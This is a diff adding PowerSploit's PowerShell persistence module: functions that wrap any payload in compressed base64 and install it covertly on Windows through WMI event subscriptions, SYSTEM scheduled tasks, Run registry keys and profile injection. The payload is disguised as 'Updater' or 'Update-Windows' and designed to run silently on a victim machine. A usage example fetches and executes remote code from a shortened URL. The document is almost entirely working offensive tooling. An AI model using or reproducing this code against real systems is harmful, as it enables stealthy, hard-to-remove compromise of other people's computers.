+ $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOption'
+
+ Write-Output $PersistenceOptions
+}
+
+function New-UserPersistenceOption
+{
+<#
+.SYNOPSIS
+
+ Configure user-level persistence options for the Add-Persistence function.
+
+ PowerSploit Function: New-UserPersistenceOption
+ Author: Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+.DESCRIPTION
+
+ New-UserPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry.
+
+.PARAMETER ScheduledTask
+
+ Persist via a scheduled task.
+
+ Detection Difficulty: Moderate
+ Removal Difficulty: Moderate
+ User Detectable? No
+
+.PARAMETER Registry
+
+ Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
+
+ Detection Difficulty: Easy
+ Removal Difficulty: Easy
+ User Detectable? Yes
+
+.PARAMETER AtLogon
+
+ Starts the payload upon any user logon.
+
+.PARAMETER OnIdle
+
+ Starts the payload after one minute of idling.
+
+.PARAMETER Daily
+
+ Starts the payload daily.
+
+.PARAMETER At
+
+ Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
+
+.EXAMPLE
+
+ C:\PS> $UserOptions = New-UserPersistenceOption -Registry -AtLogon
+
+.EXAMPLE
+
+ C:\PS> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
+
+.LINK
+
+ http://www.exploit-monday.com
+#>
+
+ [CmdletBinding()] Param (
+ [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
+ [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
+ [Switch]
+ $ScheduledTask,
+
+ [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
+ [Switch]
+ $Registry,
+
+ [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
+ [Switch]
+ $Daily,
+
+ [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
+ [DateTime]
+ $At,
+
+ [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
+ [Switch]
+ $OnIdle,
+
+ [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
+ [Switch]
+ $AtLogon
+ )
+
+ $PersistenceOptionsTable = @{
+ Method = ''
+ Trigger = ''
+ Time = ''
+ }
+
+ switch ($PSCmdlet.ParameterSetName)
+ {
+ 'ScheduledTaskAtLogon'
+ {
+ $PersistenceOptionsTable['Method'] = 'ScheduledTask'
+ $PersistenceOptionsTable['Trigger'] = 'AtLogon'
+ }
+
+ 'ScheduledTaskOnIdle'
+ {
+ $PersistenceOptionsTable['Method'] = 'ScheduledTask'
+ $PersistenceOptionsTable['Trigger'] = 'OnIdle'
+ }
+
+ 'ScheduledTaskDaily'
+ {
+ $PersistenceOptionsTable['Method'] = 'ScheduledTask'
+ $PersistenceOptionsTable['Trigger'] = 'Daily'
+ $PersistenceOptionsTable['Time'] = $At
+ }
+
+ 'Registry'
+ {
+ $PersistenceOptionsTable['Method'] = 'Registry'
+ $PersistenceOptionsTable['Trigger'] = 'AtLogon'
+ }
+ }
+
+ $PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
+ $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOption'
+
+ Write-Output $PersistenceOptions
+}
+
+function Add-Persistence
+{
+<#
+.SYNOPSIS
+
+ Add persistence capabilities to a script.
+
+ PowerSploit Function: Add-Persistence
+ Author: Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
+ Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption
+ Optional Dependencies: None
+
+.DESCRIPTION
+
+ Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted.
+
+.PARAMETER ScriptBlock
+
+ Specifies a scriptblock containing your payload.
+
+.PARAMETER FilePath
+
+ Specifies the path to your payload.
+
+.PARAMETER ElevatedPersistenceOption
+
+ Specifies the trigger for the persistent payload if the target is running elevated.
+ You must run New-ElevatedPersistenceOption to generate this argument.
+
+.PARAMETER UserPersistenceOption
+
+ Specifies the trigger for the persistent payload if the target is not running elevated.
+ You must run New-UserPersistenceOption to generate this argument.
+
+.PARAMETER PersistenceScriptName
+
+ Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'.
+
+.PARAMETER DoNotPersistImmediately
+
+ Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option.
+
+.PARAMETER PersistentScriptFilePath
+
+ Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory.
+
+.PARAMETER RemovalScriptFilePath
+
+ Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory.
+
+.PARAMETER PassThru
+
+ Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline.
+
+.INPUTS
+
+ None
+
+ Add-Persistence cannot receive any input from the pipeline.
+
+.OUTPUTS
+
+ System.Management.Automation.ScriptBlock
+
+ If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script.
+
+.NOTES
+
+ When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine.
+
+.EXAMPLE
+
+ C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
+ C:\PS>$UserOptions = New-UserPersistenceOption -Registry -AtLogon
+ C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
+
+ Description
+ -----------
+ Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime.
+
+.EXAMPLE
+
+ C:\PS>$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
+ C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
+ C:\PS>$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
+ C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
+
+ Description
+ -----------
+ Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1
+
+.LINK
+
+ http://www.exploit-monday.com
+#>
+
+ [CmdletBinding()] Param (
+ [Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
+ [ValidateNotNullOrEmpty()]
+ [ScriptBlock]
+ $ScriptBlock,
+
+ [Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )]
+ [ValidateNotNullOrEmpty()]
+ [Alias('Path')]
+ [String]
+ $FilePath,
+
+ [Parameter( Mandatory = $True )]
+ $ElevatedPersistenceOption,
+
+ [Parameter( Mandatory = $True )]
+ $UserPersistenceOption,
+
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $PersistenceScriptName = 'Update-Windows',
+
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $PersistentScriptFilePath = "$PWD\Persistence.ps1",
+
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $RemovalScriptFilePath = "$PWD\RemovePersistence.ps1",
+
+ [Switch]
+ $DoNotPersistImmediately,
+
+ [Switch]
+ $PassThru
+ )
+
+ Set-StrictMode -Version 2
+
+#region Validate arguments
+
+ if ($ElevatedPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOption')
+ {
+ throw 'You provided invalid elevated persistence options.'
+ }
+
+ if ($UserPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOption')
+ {
+ throw 'You provided invalid user-level persistence options.'
+ }
+
+ $Path = Split-Path $PersistentScriptFilePath -ErrorAction Stop
+ $Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop
+ $PersistentScriptFile = ''
+ $RemovalScriptFile = ''
+
+ if ($Path -eq '')
+ {
+ $PersistentScriptFile = "$($PWD)\$($Leaf)"
+ }
+ else
+ {
+ $PersistentScriptFile = "$($Path)\$($Leaf)"
+ }
+
+ $Path = Split-Path $RemovalScriptFilePath -ErrorAction Stop
+ $Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop
+ if ($Path -eq '')
+ {
+ $RemovalScriptFile = "$($PWD)\$($Leaf)"
+ }
+ else
+ {
+ $RemovalScriptFile = "$($Path)\$($Leaf)"
+ }
+
+ if ($PSBoundParameters['FilePath'])
+ {
+ Get-ChildItem $FilePath -ErrorAction Stop
+ $Script = [IO.File]::ReadAllText((Resolve-Path $Path))
+ }
+ else
+ {
+ $Script = $ScriptBlock
+ }
+
+#endregion
+
+#region Initialize data
+
+ $CompressedScript = ''
+ $UserTrigger = ''
+ $UserTriggerRemoval = ''
+ $ElevatedTrigger = "''"
+ $ElevatedTriggerRemoval = ''
+ $UserTrigger = "''"
+ $UserTriggerRemoval = ''
+ $CommandLine = ''
+
+#endregion
+
+#region Compress the original payload in preparation for the persistence script
+
+ $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script)
+ $CompressedStream = New-Object IO.MemoryStream
+ $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
+ $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
+ $DeflateStream.Dispose()
+ $CompressedScriptBytes = $CompressedStream.ToArray()
+ $CompressedStream.Dispose()
+ $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
+
+ # Generate the code that will decompress and execute the payload.
+ # This code is intentionally ugly to save space.
+ $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
+
+#endregion
+
+#region Process persistence options
+
+ # Begin processing elevated persistence options
+ switch ($ElevatedPersistenceOption.Method)
+ {
+ 'PermanentWMI'
+ {
+ $ElevatedTriggerRemoval = {
+Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Updater'"| Remove-WmiObject
+Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Updater'" | Remove-WmiObject
+Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject
+ }
+
+ switch ($ElevatedPersistenceOption.Trigger)
+ {
+ 'AtStartup'
+ {
+ $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
+ }
+
+ 'Daily'
+ {
+ $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOption.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOption.Time.ToString('mm')) GROUP WITHIN 60```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
+ }
+
+ default
+ {
+ throw 'Invalid elevated persistence options provided!'
+ }
+ }
+ }
+
+ 'ScheduledTask'
+ {
+ $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
+ $ElevatedTriggerRemoval = "schtasks /Delete /TN Updater"
+
+ switch ($ElevatedPersistenceOption.Trigger)
+ {
+ 'AtLogon'
+ {
+ $ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR "
+ }
+
+ 'Daily'
+ {
+ $ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
+ }
+
+ 'OnIdle'
+ {
+ $ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "
+ }
+
+ default
+ {
+ throw 'Invalid elevated persistence options provided!'
+ }
+ }
+
+ $ElevatedTrigger = '"' + $ElevatedTrigger + $CommandLine + '"'
+ }
+
+ 'Registry'
+ {
+ $ElevatedTrigger = "New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "
+ $ElevatedTriggerRemoval = "Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"
+ $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`""
+ $ElevatedTrigger = "'" + $ElevatedTrigger + $CommandLine + "'"
+ }
+
+ default
+ {
+ throw 'Invalid elevated persistence options provided!'
+ }
+ }
+
+ # Begin processing user-level persistence options
+ switch ($UserPersistenceOption.Method)
+ {
+ 'ScheduledTask'
+ {
+ $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
+ $UserTriggerRemoval = "schtasks /Delete /TN Updater"
+
+ switch ($UserPersistenceOption.Trigger)
+ {
+ 'Daily'
+ {
+ $UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
+ }
+
+ 'OnIdle'
+ {
+ $UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "
+ }
+
+ default
+ {
+ throw 'Invalid user-level persistence options provided!'
+ }
+ }
+
+ $UserTrigger = '"' + $UserTrigger + $CommandLine + '"'
+ }
+
+ 'Registry'
+ {
+ $UserTrigger = "New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "
+ $UserTriggerRemoval = "Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"
+ $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`""
+ $UserTrigger = "'" + $UserTrigger + $CommandLine + "'"
+ }
+
+ default
+ {
+ throw 'Invalid user-level persistence options provided!'
+ }
+ }
+
+#endregion
+
+#region Original script with its persistence logic will reside here
+
+# This is intentionally ugly in the interest of saving space on the victim machine.
+$PersistantScript = {
+function FUNCTIONNAME{
+Param([Switch]$Persist)
+$ErrorActionPreference='SilentlyContinue'
+$Script={ORIGINALSCRIPT}
+if($Persist){
+if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
+{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
+else
+{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
+' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo
+iex $Payload|Out-Null
+Write-Output $Payload}
+else
+{$Script.Invoke()}
+} EXECUTEFUNCTION
+
+}
+
+ $PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName)
+ $PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript)
+ $PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger)
+ $PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger)
+
+ if ($DoNotPersistImmediately)
+ {
+ $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '')
+ }
+ else
+ {
+ $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', "$PersistenceScriptName -Persist")
+ }
+
+#endregion
+
+#region Generate final output
+
+# Generate the persistence removal script
+$PersistenceRemoval = @"
+# Execute the following to remove the elevated persistent payload
+$ElevatedTriggerRemoval
+# Execute the following to remove the user-level persistent payload
+$UserTriggerRemoval
+"@
+
+
+ $PersistantScript | Out-File $PersistentScriptFile
+ Write-Verbose "Persistence script written to $PersistentScriptFile"
+
+ $PersistenceRemoval | Out-File $RemovalScriptFile
+ Write-Verbose "Persistence removal script written to $RemovalScriptFile"
+
+ if ($PassThru)
+ {
+ # Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline.
+ Write-Output ([ScriptBlock]::Create($PersistantScript))
+ }
+
+#endregion
+} \ No newline at end of file